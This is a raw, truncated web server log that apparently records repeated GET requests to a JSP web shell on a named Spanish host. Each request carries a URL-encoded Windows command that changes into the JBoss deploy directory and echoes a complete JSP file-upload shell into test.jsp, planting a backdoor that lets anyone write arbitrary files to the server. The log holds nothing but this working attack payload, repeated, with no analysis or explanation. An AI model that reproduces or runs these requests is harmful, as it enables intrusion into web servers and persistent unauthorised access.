%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783968037 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783961489 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783919485 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+